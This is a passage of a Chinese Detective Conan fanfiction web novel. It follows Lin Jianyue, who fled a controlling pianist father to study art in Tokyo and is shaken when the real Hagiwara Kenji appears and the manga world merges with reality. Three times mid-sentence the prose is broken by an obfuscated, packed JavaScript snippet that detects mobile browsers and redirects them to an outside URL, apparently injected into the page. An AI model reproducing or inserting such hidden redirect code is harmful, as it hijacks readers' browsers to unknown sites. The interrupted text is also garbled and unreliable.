——“我不想去茱莉亚学院进修,我讨厌钢琴!” 反抗必须付出代价。 林父摧毁了林见月偷偷构建的精神城堡,将她的世界砸了个稀巴烂。 林见月站在废墟之上,看着脚边的满地狼藉,没有掉一滴泪。她只是安静地凝视着父亲耀武扬威的嘴脸,佯装听话,却在某个风和日丽的晴天,拎着行李突然消失。 林见月堵上了她能支付的一切代价,她甚至没完全做好准备,就被迫站在东京的土地上。 林见月喜欢很多角色,有男有女,他们是她的精神寄托,是她的净土,但他们都是不是她的毕生所爱。 唯有画笔才是。 重压之下,喜欢的角色从另一个时空来到自己身边——哪怕是假的,是建立在金钱交易下的由陌生人扮演的委托,也足以让她动容。 闪烁着爱意的眸子逐渐被雾气包裹,林见月眼帘微垂,低下头试图藏住自己泛红的眼眶。 「男人」往前走了几步,察觉到林见月的异常。「他」回身盯着林见月的发窝看了几秒,宛然一笑,随即拉住林见月的手和她十指相扣。 “我就要回去了,我不在的这段时间,你要记得照顾好自己。” 林见月点头,乌发如瀑,随着她点头的动作一起轻轻晃动。明媚的笑意重新聚集在她脸上,温暖又极具感染力。 “别伤心,”「他」捧起林见月的脸,让她抬头和他对视,“暂时分别是为了更好的相遇,我永远在你身边,永远爱你。” 「他」深情款款地凝视着林见月的眼睛,旋即低头,准备错位在她唇角落下一吻。 林见月回应着缓缓闭上眼,湿润的睫毛微微颤动,她配合着仰起头,似在期待这一吻。 两人的呼吸逐渐靠近,只剩分毫距离。 ——吱!! 细长尖锐的刹车声响起,轮胎和地面摩擦留下一道七歪八扭的轮胎印。 隐喻着车祸危险的声音将两人从即将接吻的浪漫氛围中惊醒,对死亡的想象和恐惧让林见月下意识缩向「男人」。 她牢牢攥住「男人」胳膊,惶恐地看向声源的方向,然后看到了一个横穿马路向她大步疾驰的男人,和一张让她魂牵梦萦的脸。 迎面走来的男人顶着一张精雕细琢的建模级别的帅脸,完美的身材比例让他在人群中有种鹤立鸡群的吸睛效果。 最重要的是,他有着一张和萩原研二高度雷同的脸,仿佛从二次元走出来般。 “诶?” 林见月怔在原地,大脑嗡的一声陷入空白。 周遭的喧嚣像被掐断的录音带,戛然消失,林见月的视野里只剩下男人不断靠近的脸。 ……世界上居然有人长得和萩原研二一模一样。 真的假的? 莫不是朋友为她准备的小惊喜? 林见月隐约记得,今早出门前,为她安排了恋爱委托的朋友曾在电话里神神秘秘地说为她安排了其他惊喜,会在今晚揭晓。 林见月盯着萩原研二的脸,后知后觉地恍然大悟——原来他就是朋友安排的后手惊喜。 萩原研二冷着脸,深沉的眸子酝酿着即将到临的暴风雨。兴许是错觉,林见月从他眼中看到了烈焰般熊熊燃烧的愤怒和摇摇欲坠的无助崩溃。 若冷静下来细细分析,以林见月的智商,必能品出几分不对劲。 但她此刻脑子像卡壳的齿轮,转不动半分,连最基本的思考都做不到。她直勾勾盯着萩原研二的脸,只有一个想法: 他娘的这coser谁哦,绝了,简直是二次元里走出来的! 朋友到底是从哪里找来的极品! 这么牛的一张脸,出场费一定不便宜!这要是放在国内,肯定已经是百万粉丝级别的大网红了! 不仅是脸,就连身高气质都做到了百分百还原。 就是可惜是个男的。 但就算是男的,她也想包了他。 …… 林见月正盯着萩原研二的脸胡思乱想,后者先发话了。 萩原研二压抑着火山般喷薄而出的愤怒,攥成拳的手颤动两下,指向「男人」,大声质问:“你不是说你最爱我了吗!他是谁!?” 情绪海啸般扑来,理智决堤。 萩原研二死死盯着林见月,似要用眼神在她脸上烧出个洞。 她怎么可以! 她怎么敢! 擅自将他拽进她的世界,吸引他,得到他,再把他一脚踹开! 他们不是已经在一起好几年了吗。每晚见面,他陪在她身边的时间应该比任何人都长。 万千世界,只有他们跨越时空在梦中相遇,他们生来就该在一起。 他用漫长的一年多时间布局,又被迫耐心地等待了这么多个月,不是为了看其他男人在她唇上落下一吻。 她的烦恼和爱意应该说给他听,只该说给他听。 萩原研二恨不得把林见月拽进怀里,在她嘴上吧唧亲一大口,再冲着「男人」怒吼让「他」滚。 但仅存的摇摇欲坠的理智阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920448|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止他这么做。 ——林见月会生气。 这个想法清晰地出现在萩原研二脑子里。 萩原研二非常清楚,哪怕林见月天天喊着要嫁给他,但她对他的爱更多源于一种精神寄托,而非真的打算对他托付终身。 『自己没有被林见月当成现实结婚对象』的想法头一次让萩原研二产生恐慌,哪怕他早就清晰认知到这一点。 过往几年,林见月没谈过男朋友——起码在认识萩原研二的这段时间里,她从未对其他男性心动过。 没有竞争对手,萩原研二便理所当然地霸占着林见月,享受她所有目光。 萩原研二很有耐心,他可以从长计议,温吞地一点一点慢慢吃掉她。但他没办法接受她转身去找别的男人恋爱结婚。 萩原研二盯着林见月的脸,阴湿扭曲的想法不受控制地开始疯长,野草般侵入他的思维,这反倒让他冷静下来。 几个深呼吸后,萩原研二倏地软下语气,用一种楚楚可怜、脆弱易碎的目光看向林见月:“见月酱,他是谁?” 林见月抿唇略作思考,犹豫不决地松开了「男人」的胳膊。 从时间上算,她们的委托已经结束了,所以…… 林见月试探道:“他算是我的……嗯……前夫?” “前夫”一词似平地惊雷在萩原研二耳边炸开,他倏的白了脸,太阳穴也似被电钻般的传来阵阵剧痛。 林见月对萩原研二的想法一概不知,她盯着萩原研二的脸,忍不住想,第一次约委托就是雄竞修罗场吗,朋友给她安排的惊喜会不会有点刺激过头了。 林见月身后,这场闹剧的第三人,天生长了一副男相,并且特别擅长扮演男性的全场唯一真·coser,「他」攥着藏在身后的超稀有周边,陷入沉默。 林见月远在国内的朋友——也就是向「他」定下这场委托的金主,前些天给「他」寄了一个价格昂贵的周边立牌,让「他」在委托结束时交给林见月。 金主当时说了。 这个立牌特别稀有,还特别贵。用他们圈内的话,叫“海景谷”,地位跟豪华海景别墅差不多。 金主让「他」给东西做好防震,别磕了碰了,不然「他」得把一半委托费拿出来赔钱。 金主还说,林见月收到这份礼物一定会特别开心,说不定会嗷嗷叫着,抱着「他」转圈。 道理「他」都懂,但金主也没跟「他」说今晚会有其他人啊。 「男人」盯着对面已经开始施展茶艺的长发男人,沉默片刻,痛定思痛,决定给金主发一条短信: 『您好,之前和您说过,演小三、情夫、雄竞修罗场是要加钱的。』 金主很快发来回信,却只有简短的几个字: 『……?』 『什么雄竞小三的,我只委托了你一个人啊。』 「男人」再度看向萩原研二,却正好捕捉到对方瞥向「他」时眼底搅起的寒光。 「男人」再次给金主发去信息:『被单主的男朋友揍,也要加钱,而且是双倍。』 金主这次回复得更快,密密麻麻满屏问号几乎快要挤爆聊天框。 『???????』 『什么东西??』 『你刚刚说谁的男朋友????』 8. 独家 林见月不知道自己那句“前夫”的杀伤力有多大,她攥着手提包,歪着脑袋认真思考朋友为什么要把第二场委托定在晚上。 夜晚,陌生男性,异国他乡的陌生城市,约会。 这四个词不管怎么组合都不太妙,隐隐透着一股危险气息。初见萩原研二时的兴奋如潮水缓缓退去,取而代之的是即将和陌生男性独处的不安。 她下意识后退半步,鞋跟碾过路面的碎石子,发出细响。 紫瞳骤缩,倒映出林见月防备的姿态。萩原研二唇瓣翕动,低声喊出她的名字:“见月酱。” 路灯和月色在他脸上洒下光晕,这是一张足以招蜂引蝶的脸,他微微蹙眉,可怜兮兮地看着她,眼底却带着一种难以言喻的、扭曲的不甘。 手指像弹簧老化的仪器,垂在腿边微微抽动,在克制与冲动间反复挣扎。 欲望横冲直撞,催促他快些把林见月拥入怀,再用指腹轻轻摩挲林见月的脸颊。但理智又死死压制住这股冲动,严令他原地待着别动。 萩原研二自上而下扫了她一圈,眉峰极快地蹙了下。 林见月眼下积着淡淡的黑眼圈,看上去似乎没比降谷零少熬夜,纤细的身体如今更是单薄得像一张会被大风吹走的纸。 她消失的这半年,过得不算好。 萩原研二视线越过她,落在身后正打电话的 「前夫」身上,眼里淬了点冷意,转瞬又落回她脸上, 他琢磨着林见月的心思,压低嗓音,透出几分讨好的意味:“见月酱,好久不见。” 尾音黏糊糊的,裹着没说出口的思念。 萩原研二一瞬不瞬凝视着林见月,细致描摹着她的模样,轻颤的睫毛让他在成熟之外又多了几分脆弱。 眼底的爱意浓得像化不开的糖浆,克制里藏着汹涌的浪,让林见月怔在原地。 爱是可以被表演出来的,痛苦也是。 但萩原研二眼底的情绪太真,也太满,足以成为投掷进湖面的石子,在林见月平静的世界激起一阵微小的浪花。 林见月直愣愣地盯着萩原研二的眼睛,甚至未察觉到他们之间的距离在萩原研二的有意操控下,正一点点拉近。 一步。 两步。 萩原研二像只擅长蛊惑人心的狐妖,漂亮的紫眸磁铁般勾住林见月所有注意力,拉着她不断下坠。 “见月酱。”他唇齿间滚出这个名字,亲昵得发腻,手指也缓缓搭向她的指尖。光是想着即将相触的触感,萩原研二便忍不住尾指颤抖。 “见月!”背过身去打电话的「男人」终于结束了和金主的通话,三两步冲过来,横在两人中间,抬臂挡住萩原研二试图靠近的动作,将林见月护在身后。 粘稠的氛围像被戳破的泡沫,林见月下意识挽住「男人」的胳膊,目光在两人之间来回扫,小声问:“怎么了吗?” 「男人」警惕地瞪着萩原研二,刻意模仿的男性嗓音不留一丝破绽:“你朋友今天只约了我一个委托,这家伙不知道从哪冒出来的。” “诶!?” 林见月看向萩原研二的眼神瞬间变了,紧蹙的眉心后面是层层叠叠的戒备。 “见月,我们走!”「男人」恶狠狠地剜了萩原研二一眼,拽着她的小臂就往反方向走。 「男人」把林见月护在怀里走远的动作倒映在萩原研二瞳孔里,刺激着他的神经。一个声音不停在他耳边回响,似恶魔在低语:不可以让他们离开,快拦住她。 下一瞬,「男人」突然被人卸了力,随即掌心落空。 可能是警察的格斗技巧,又或者是机动队特有的战斗技能,待两人反应过来时,林见月已经离开「男人」的臂弯,被萩原研二圈在怀里。 萩原研二要比林见月高很多,或者说他比大多数日本人都高。他站在林见月身后,一只手扣着林见月的腰,另一只手轻轻搭在林见月先前被「男人」攥住的小臂上,似要用体温覆盖掉「他」的痕迹。 萩原研二弯下腰,细碎的长发垂落在林见月耳边,卷起一股似有若无的痒意。他低着头,紫眸却向上翻起,冷冷的、不带一丝感情的视线落在「男人」身上,带着警告的意味。 猝然被人拽进怀里,林见月绷紧身体,鸡皮疙瘩似海浪般从被触碰的地方向四周炸开。 她想推开他,骂他滚开,但她只是僵在原地,身体先记忆一步辨认出身后人。 一股男香漫过来,织成张细密的网,把她裹在中间。 前调的香柠檬混着甜橙一闪而过,很快被桉树的木质香取代,沉而清。不同于小学馆推出的角色香水,萩原研二身上的香气是一种更高级、更余韵悠长的味道。 林见月记得这个气味。 她曾一遍遍依偎在萩原研二怀里,被他的体温和气息包裹,吞吐着他温热的呼吸。 偶尔,萩原研二身上的味道会混杂上汗液和淡淡的麝香气息。男香被体温蒸得更烈,像杯加了冰的威士忌,呛人又迷人。 此刻,萩原研二站在林见月身后,他的气息,他的味道,甚至就连他搭在林见月小臂的掌心的温度,都令林见月熟稔到心惊。 熟悉的气息再次压近,萩原研二的声音贴在耳边。缠绵,粘稠,轻声喊着她的名字:“见月酱,为什么不来看我?” 扣在腰上的手收紧了一寸,却又克制着没有直接把林见月拉进怀里。 “你不是要来警视厅打卡吗,为什么不来找我?” “我……”林见月的声音梗在喉咙里。 某个模糊的猜想在脑子里炸开,真相像隔了层磨砂玻璃,轮廓明明就在眼前,却怎么也看不清。 巨大的信息量冲垮了思绪,大脑嗡嗡作响,像台信号中断的老电视,满是雪花噪点。 “你这家伙,你到底是什么人,你想干什么!?”被丢到一边的「男人」终于慌了神,维持了一整天的男腔终于变形,漏出点清凉的女音。 「他」攥在手里的手机屏幕上显示着“110”的字样,只要情况有变,「他」会立刻按下绿色通话键,打给警察。 萩原研二抬眼,视线重新落在「男人」身上。他盯着「他」默了几秒,随即发出一声自嘲的低笑,轻到仿佛能随风飘散。 被警视厅一致评价为“拥有绝佳洞察力”的精英警察居然直到这一刻才陡然意识到,被他虎视眈眈嫉妒着的「男人」,其实是个充满力量感的女性。他果然像松田阵平说的,被鬼蒙了眼,被爱冲昏了头。 如果说面前这位男性的打扮的人实际是位女性,那么……林见月刚才那番“前夫”的发言,应该只是把他当成某种类似角色扮演的牛郎服务。 心里的大石头倏然落地,但另一种情绪慢慢涌上喉咙,堵得他难受。 牛郎?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920449|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 呵。 怀里的人突然动了下,肩膀微微一颤。 注意到怀中人再次变得紧绷,萩原研二用跟本身出色的反应力截然相反的速度,缓慢地松开了林见月的腰。 “我想……我应该算见月酱的男朋友。”萩原研二先回答了一侧虎视眈眈的「男人」的问题,而后把手搭在林见月肩膀,扶着她转身看向他。 林见月被萩原研二的影子罩着,却垂着头不肯看他。和早早接受漫画设定的萩原研二不同,她似乎难以消化眼前正在发生的事。 “见月。” 萩原研二温柔地,粘稠地,喊了一声林见月。 林见月颤了下睫毛,没有回应。 “见月。” 又一声,尾音缠着点哄诱。 直到他第三次用缠绵的像被蜂蜜水浸泡过的声线喊出林见月的名字,她才颤巍巍抬起眼,透过惴惴不安的情绪看向他。 红唇翕动,林见月低声试探:“萩原研二?” 萩原研二眼底闪过丝惊喜,亮得像星火。 她现在终于意识到他是谁。 但不够。 还远远不够。 关于他和林见月在现实里的初次见面,萩原研二有过很多猜想。 她兴许会兴奋地捂住嘴小声尖叫,也可能会怔在原地然后错愕地瞪大眸子,发出夸张的“诶”的声音,再或许,她会吓得扭头就跑,花好半天才缓过劲来,然后喜极而泣。 但她都没有。 她只是直勾勾盯着萩原研二近在咫尺的脸,清澈透亮但透着长期熬夜后的疲惫的眸子慢慢涌起恐惧。 “……骗人的吧。”林见月喃喃自语。 斜对角突然传来一阵兴奋的女性尖叫,林见月循声望去。巨大的LED大屏高悬在夜色下,放映出一张林见月再熟悉不过的脸——工藤新一。 还没被药物变小的名侦探,脸上摆着故作深沉的表情,嘴角却压不住地上翘。印着各大电视台标的话筒挤到他嘴边,闪光灯亮得像连片的星,噼里啪啦响个不停。 “是工藤新一!” “天呢他好帅啊!” 几个年轻女性从林见月身后走过,她们兴奋地小声尖叫,议论着工藤新一的智慧与帅气。 林见月死死瞪着远处的LED大屏,太阳穴被针扎般阵阵作疼。 她来日本快半年了,从没在电视上搜到过米花电视台。可此刻屏幕角落,那几个字清晰得刺眼。 还有刚才镜头里一闪而过的目暮警官。 以及被白布盖着的,上面凝固着殷红粘稠的血的尸体。 荒谬感潮水般将她淹没。 她好像进入了一场大型演绎剧场,又或者是陷入了什么日综恶作剧。可日综再疯,也不会把镜头对准她这样的路人,日本的法律可不允许随意拍摄陌生人。 所以…… 眼前发生的一切都是真实的,而非一场针对她的恶作剧,也不是梦,对吗。 世界似乎正朝着林见月无法理解的方向发展。 身体开始发抖,令人窒息的失控感海啸般铺天盖地地砸在林见月脸上。 “诶?骗人的吧。” 林见月勉强挤出个笑意,眼底却尽是对人生即将失控的恐惧。 啪嗒。 豆大的泪砸在地上,溅开一朵花,令萩原研二重新慌了神。 9. 独家 林见月出生在音乐世家。按照林父的说法,他们家从林见月祖父那一代起,就开始搞乐器,传承至今。 雄厚的家族实力本该成为林见月的荣耀,为她垫高出生的起点,铺出一条铺满鲜花的坦途。 但「音乐世家」的赞誉在林见月父亲近乎偏执的操控下,变成一条缠绕在林见月脖子上的毒蛇,朝她吐出森冷的信子。 林家是优秀的音乐世家,林家的孩子也必须成为最优秀的演奏家。林见月的人生轨迹被钉死在一条道上:登上维也纳金色大厅,着华服坐首席,让指尖流淌的旋律震彻穹顶。 就像她已经被塑造成形的哥哥那样。 文化成绩不重要,身心健康不重要,娱乐活动不重要,个人喜好也不重要,林见月只需要做好一件事。 练琴,练琴,练琴。 她必须保持纤瘦的身姿,在聚光灯下活成小说里不染尘埃的白月光,供人艳羡;必须成为最顶尖的演奏家,承袭林家的荣光,替父亲挣回体面。 他会撕掉林见月所有课外书和涂鸦画,摔碎她亲手拼好的模型,砸掉手办,杀掉猫。 起初,林见月还会哭闹着反抗,死死拽住林父的胳膊试图阻止他的行为,然后挨上一巴掌,肿着脸老实下来。高中后,林见月会平静地看着父亲发疯,然后继续练琴。 “你真可怕。” 比林见月年长五岁,已经按林父意愿在英国皇家音乐学院就读的哥哥在帮林见月藏好漫画书后,恶劣地揉乱她的头发,语气复杂:“有种平静的疯感。” 林见月歪着头嘿嘿一笑,挽住哥哥的胳膊开始撒娇:“小学馆最近新出了一套很漂亮的周边,哥哥帮我买。” “我是在英国留学,不是日本。” “求你了,好不好嘛。” 架不住林见月软磨硬泡,哥哥举手投降:“行行行,买。放假的时候悄悄给你肉身背回来。” 他做贼心虚地扫了眼客厅,再三确认林父不在,才冲林见月招手示意她附耳过来:“收拾行李,下午跟我去英国玩。” “我上周刚挨了一顿揍。” “我导师在伦敦有演奏会,我已经和他说好了,让他指点你一二。老爸问起来,我就说是带你去见世面,顺道和世界级大师刷个脸熟。” 林见月像看到猫条的小猫,亮着一双水汪汪的眼睛,麻溜地松开哥哥的胳膊开始收拾行李。 将爱意全部浇灌到林见月身上的哥哥在她身后驻足看了会,头大地闭了闭眼:“我说你啊,去玩当然是带漂亮裙子,哪有带一箱漫画书的!” 他恶狠狠指着漫画封面上的男人的脸,额角青筋跳动:“特别是这个叫萩原研二的,我不想在箱子里看到他!懂我意思吗!” 林见月哼着小曲装作没听见,赶忙又往箱子里塞了两本萩原研二的同人漫画。 两人在英国玩了足足五天。送林见月登上回国的飞机时,哥哥看着林见月爬满茧子的手,忽然道:“见月,你和我不一样。我没勇气,但你不同,你一定会闯出自己的天地。” 他满眼珍重,宠溺地揉着林见月的发:“爸爸坏,但哥哥好,哥哥会永远会支持你。” 于是几年后,刚结束一场完美的演奏,正勾着朋友的肩膀在酒吧放纵的哥哥接到一通从国内打来的紧急求助电话。 “哥,爸爸跟着乐团去法国了,你赶快给我买一张去日本的机票。”顿了顿,林见月补充,“再帮我在东京租一套公寓。” 哥哥一口酒喷在对面同僚脸上,惊得坐直身体。他下意识提高音量:“不是!你追二次元追疯了?去日本干嘛!?” 林见月笑嘻嘻丢下一枚炸弹:“我被多摩美术大学录取了。” “……?美术大学?” “嗯!”尾音扬得高高的,藏不住的得意。 哥哥登时来了脾气:“林见月你疯了?日本那么多音乐名校不报,去个美术大学?能给你带来什么音乐建树?我知道你想反抗那老东西,但这简直是自毁前——” 林见月平静出声:“你在说些什么傻话。我报的是平面设计专业,多摩美术大学可是全日本最顶尖的学院。” “……噶?” 哥哥像只被掐住喉咙的鸡,好半天才挤出句底气不足的疑问:“美术生要作品集的,你哪来的作品集?” “摔断胳膊的这一年里攒的。” 完成大学学业后,林父以不容反抗的姿态要求林见月去茱莉亚学院进修。她则直接摔断胳膊,吊着打满钢钉的左臂,在父亲吃人的目光注视下在家躺平了一整年。 摔断胳膊的事是一场意外,却合了她的意。左手断了不能弹琴,难道还不能画画吗。父亲前脚离开家,她后脚就爬起来给手绘板插上数据线。 哥哥百思不解:“一年时间能练出考名校的水平?多摩美术大学给你开后门了?” 林见月嘿嘿笑着,像偷到肉吃的小馋猫:“没想到吧哥哥,我从高中时起就背着爸爸偷偷画画了。” 哥哥更不理解了:“就那狗东西的高压制裁环境,你每天两眼一睁就是弹琴,哪来的时间画画?” “我等爸爸睡下了,偷偷从被窝里爬起来画的。每天两个小时,风雨无阻。”林父虽然独裁,但只要林见月完成练习进度,他不会在睡眠时间上苛责林见月。 林见月得意得快翘起尾巴,语气里明晃晃求夸赞:“怎么样哥哥,我自控力强吧。” 哥哥听着电话那头叽叽喳喳的声音,突然懂了她被诊断出神经衰弱和偏头痛的根源。 他闭眼深呼吸,先扯出几声笑,随即猛地从座位上弹起来,当着满酒吧同事的面把林见月骂得狗血淋头。 他边大声斥责林见月不爱惜身体,边抢过朋友的手机,替林见月订好了飞往东京的机票:“你哥我还没当上首席呢,工资就全花你身上了!拿不到毕业证我就打断你的腿!” 哥哥替她扛下了被先斩后奏的父亲的暴怒,还在东京租了最好的公寓。 收到林见月发来的她和新导师的合照时,哥哥摩挲着手机屏幕,久久失神。他盯着屏幕上照片,似在透过林见月窥视他人生的另一种可能。 良久,他给林见月发去一条叮嘱,也像是在对未敢鼓起勇气反抗的自己说:『见月,不要让任何人成为你的绊脚石。谁都不能阻碍你追求你的人生,谁都不可以。』 他想了想,又絮絮叨叨补了一堆,但大多是些类似『多喝热水』『早睡早起,再熬夜打断你腿』的废话。 在收到林见月回的『我现在就在熬夜哦,哥打算滴滴打车过来打断我的腿吗XD』时,哥哥看了眼手表——伦敦时间下午5点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920450|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,日本正值凌晨2点。 他沉默片刻,按住语音键,对着手机爆发出一连串能被屏蔽成电报音的脏话。 骂够了,他把腿跷在茶几上,又正经起来:“日本人怪得很,表面上客客气气的,说不定肚子里憋着坏水。你一个人在那边当心点,别被人给骗了,有事随时给哥哥打电话。” 林见月发来条带着笑意的语音:“放心吧哥哥,我只信能被我牢牢抓在手里的东西。” 她的生长环境只教会她一件事: 人心隔肚皮。 谁也猜不透华丽衣袍下藏着怎样腐朽的皮囊。 提着美酒登门拜访的所谓的父亲的朋友,可能和父亲存在权钱交易,又或者是想拜托父亲教训交响乐团里某个他们看不顺眼的家伙,再或者被针对的目标就是林父本身。 林见月看不懂杯酒交错里的虚与委蛇,只知道他们和父亲一样,虚伪得令人作呕。 被外界赞好脾气、会温声细语教学生、顶着世界顶尖钢琴家头衔的男人,会在她拒绝练琴时暴跳如雷,急了还会甩她耳光。 在外维持着模范丈夫形象、巡演归来会捧玫瑰进门的男人,却被因病提前回家的林见月撞见出轨。她推开门时,父亲的手甚至没来得及从女人的腿上挪开。 知人知面不知心。 林见月永远猜不透微笑面具的背后藏匿着怎样的心思。 人类这种生物,摇摆不定得可怕。上一秒可能递糖给你,下一秒就敢抽刀。 况且男人向来是最靠不住的生物。 缺乏长辈的引导,林见月对爱情的所有理解都来自古早偶像剧。爱该是美好、浪漫、忠诚不渝的,一生只爱一个人。 可现实里越来越多的恶性新闻,刻意捏造的也好,真实发生的也罢,都在撕扯着她的神经。就连父亲也在她眼前做着坏榜样。 再次刷到手机里的恶性新闻,林见月垂眸,只觉一阵恶心。她开始偏执地、扭曲地追求「爱情的可控性」。 她开始往纸片人身上倾注爱意,沉浸在自己构筑的精神乌托邦里。 纸片人是可控的,可被人为塑造的。她要他们对她忠诚,他们便只能对她忠诚。 但人不行。 真心瞬息万变。 当萩原研二从她的画笔里走出来,变成有血有肉、有自己想法的活人;当爱不再透明可见,藏在皮囊下的真心可以被随意装饰,失控带来的不安感便接踵而至,潮水般将林见月淹没。 她从不怀疑萩原研二的品性,但她质疑爱的时效性。 但比起如何处理萩原研二的爱意,林见月更恐惧另一件事——她讨厌不稳定因素,也讨厌计划外的剧变。 剧变里往往隐藏着风险和机遇,但她已经抓住了机遇——被日本最顶尖的美术大学录取,成为米山舞级别插画家的学生和助理。她的人生终于步入正轨,一切正在往好的方向发展。 世界融合。 轻飘飘四个字,却藏着不亚于东欧剧变的动荡,藏着足以碾碎一切的风险。 林见月直愣愣盯着面前朝思暮想的萩原研二的脸,睫毛突然一颤,泪珠毫无预兆地砸下来。她张了张嘴,声音轻得像缕烟,带着被现实击穿的茫然。 “……骗人的吧。” “……你为什么会在这里?” 10. 独家(精修) 眼泪簌簌往下掉,世界被模糊成浮动的光斑。 眼泪似鱼尾掀起的浪,层层叠叠拍向萩原研二,瞬间冲垮他所有汹涌的欲望。 “见月酱!”他手忙脚乱去摸口袋,从西装内兜翻出纸巾时,口袋里的其他东西也跟着掉落下来。他无暇顾及地上刚拆封的香烟,胡乱抽出一张纸巾就急着往她脸上凑。 啪。 手被林见月狠狠拍开,力道不大,却甩在他心上。 林见月一连后退好几步,声音带着颤动的哭腔:“不要过来!” 仿佛这样就能从眼前这个虚假的拥有工藤新一的世界逃离。 “见月……” 萩原研二下意识上前,脚步却在看见她眼底的躲闪时僵住。喉结不安地来回滚动,他缓缓蜷起手指,收回的手停在半空,又猛地攥紧 指尖残留着林见月的余温,掌心里那团纸巾被泪浸得发沉。她就在两步外,但他只觉得和她之间的距离似隔着银河,一道看不见的玻璃将他们二人分隔开。 “萩原研二——” 林见月缩起肩膀,像只被暴雨淋湿的幼猫,抽噎着抬眼。 萩原研二怔怔看向林见月,已经能预见她接下来的话。 时间仿佛被拉长,林见月泛白的嘴唇张合,倒映在萩原研二眼底。 耳膜被心跳震得咚咚响。 他死死盯着林见月的脸,倏地害怕起来。情绪翻滚,这是和直面死亡时截然不同的另一种恐惧,却都同样让萩原研二脊背发凉。 “——求你,不要靠近我。”话音落,林见月背过身去落荒而逃,在人群中跌跌撞撞。 林见月哀求的姿态像把钝刀,慢悠悠割开他的胸口,疼得他喘不过气。滴落的泪变成钉子,牢牢钉住萩原研二双脚,叫他动弹不得。 本该结束今日工作的「男人」意味深长地瞟萩原研二一眼,转身追上林见月,也消失在夜色下的人流中。 天空阴沉沉的,又下起雨。 豆大的雨珠毫无征兆砸下来,噼里啪啦打在他脸上。熨烫平整的黑西装瞬间湿透,贴在身上沉甸甸的。路人抱着头往店里钻,只有他站在雨里,垂着的脸没什么表情。 良久,他扯动嘴角挤出一声悲凉的笑。 “呵。” 也转身离去。 - 林见月是被委托送回家的。 她红肿着眼向对方鞠躬道歉,又转了一大笔经济补偿,才结束这场闹剧。 窗外雨势渐缓,淅淅沥沥被风刮在落地窗上,噼啪作响。林见月光脚蜷在沙发里,屋子里没开灯,只有手机屏幕亮着,把她脸上未干的泪照得透亮。 叮。 『见月,到家了吗?』 叮。 『宝宝不哭,我的宝宝最好了。』 朋友的消息一条接一条,不停弹出。 林见月吸了吸鼻子,开始回复短信。几滴未干的泪溅落在手机屏幕上,键盘不听话地打出一连串错误字符,又被删掉。 『——现实世界和漫画世界融合了。』 林见月以这句话作为收尾,一五一十地把今天街上发生的事编写成文字发送过去。等了很久,对面终于回复,却是些语无伦次的安慰,透着股想关心又怕说错话的局促。 林见月看懂了——朋友没信,也没完全理解她说的话,只是硬撑着哄她。 但她的心意真切地传递给了林见月。 『见月,要不然你悄悄回国,在我这里躲几天?』 林见月垂眸,手机光映在她含泪的浅棕瞳孔里,亮得像井中月。 『我没事,抱歉让你担心了。我现在很累,想先睡一会儿,明天再和你详细解释。』 『不说也没关系,只想你快点好起来。晚安。』 结束聊天,林见月倏地静下来。她擦掉泪,去卫生间用冷水拍脸,镜子里的人眼眶通红,眼神却异常清明。 她拨通哥哥的电话。 叮叮叮。 短暂等待后,哥哥的声音从电话那头传过来,带着刚睡醒的不耐烦:“臭丫头片子,你哥我在睡午觉呢。你——” “哥哥。” 她刻意压平的声线里藏着点鼻音,两个字就截住了他的絮叨。 哥哥一顿,声音陡然绷紧:“谁欺负你了?” 林见月用力吸了下鼻子,没说今天的事:“没人欺负我,我就是突然有些害怕。” “害怕?” 林见月把头埋进臂弯里,光溜溜的脚趾用力蜷缩,过了好一会儿才开口:“哥哥,我今天遇到萩原研二了。不是角色扮演,而是他本人,我……我被吓了一大跳。” 电话那头默了一瞬,随即是哥哥带着附和意味的声音,藏着一丝心虚:“不得了,居然遇到了他,我还以为这些大明星很少出门。是不是被他的疯狂粉丝给吓到了。” 林见月抬眸,通红的眼眶里流转着与大哭一场的情绪相左的冷静和清明:“哥哥,萩原研二不是明星,也不算公众人物。” 哥哥突然没声了。 “哥哥,你是不是不记得他是谁了?” 林见月用一种平静的像是在问要不要喝下午茶的语气,撕开血淋淋的真相。 电话那头死寂了几秒,哥哥的声音才重新冒出来,带着一丝心虚和不确定:“我……应该认识他吗?” 林见月没答,起身走向书柜。手指一排排抚摸过全套柯南漫画的书脊,而后停留在第一卷上:“哥哥你还记得《名侦探柯南》吗?” “……这又是什么?” 林见月垂眸,心下已经有了猜想。她抽出漫画第一卷:“前几个月,你还帮我买过它的周边。” 电话那头传来哥哥压得很低的底气不足的声音:“抱歉,我真的不记得了。” “没关系。”林见月单手翻开漫画,哗啦啦翻页声中,她眸色骤沉。 